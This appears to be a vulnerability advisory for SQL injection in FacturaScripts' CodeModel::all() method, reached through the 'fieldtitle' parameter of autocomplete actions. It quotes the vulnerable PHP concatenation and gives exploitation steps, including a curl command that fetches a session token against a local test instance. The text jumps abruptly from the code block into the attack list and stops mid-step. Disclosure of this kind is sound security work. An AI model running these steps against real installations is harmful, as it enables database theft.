The vulnerability exists in the `CodeModel::all()` method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.\n\n---\n\n### Details\n\nMultiple controllers in FacturaScripts, including `CopyModel`, `ListController`, and `PanelController`, implement an autocomplete action that processes user input through the `CodeModel::search()` or `CodeModel::all()` methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.\n\n#### Vulnerable Code Location\n\n**File:** `/Core/Model/CodeModel.php`\n**Method:** `all()`\n**Lines:** 108-109\n\n```php\npublic static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array\n{\n    // ......\n\n    // VULNERABLE CODE:\n    $sql = 'SELECT DISTINCT ' . $fieldCode .

Attacker authenticates with valid credentials (any user role)\n2. Attacker sends POST request to `/CopyModel` with `action=autocomplete`\n3. Malicious SQL functions/queries are injected via the `fieldtitle` parameter\n4. Application executes the injected SQL and returns results in JSON format\n5. Attacker extracts sensitive data from the database\n\n---\n\n### Proof of Concept (PoC)\n\n#### Prerequisites\n- Valid authentication credentials (admin/admin in test instance)\n- Access to FacturaScripts web interface\n\n#### Step-by-Step Manual Exploitation (CLI)\n\nSince FacturaScripts uses `MultiRequestProtection`, a valid `multireqtoken` is required for every POST request.\n\n**1. Obtain initial token and session cookie:**\nFacturaScripts redirects `/` to `/login`, so we use `-L` to follow redirects and `-c` to save the session cookie.\n```bash\nTOKEN=$(curl -s -L -c cookies.txt \"http://localhost:8091/login\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+')\necho $TOKEN\n```\n\n**2.
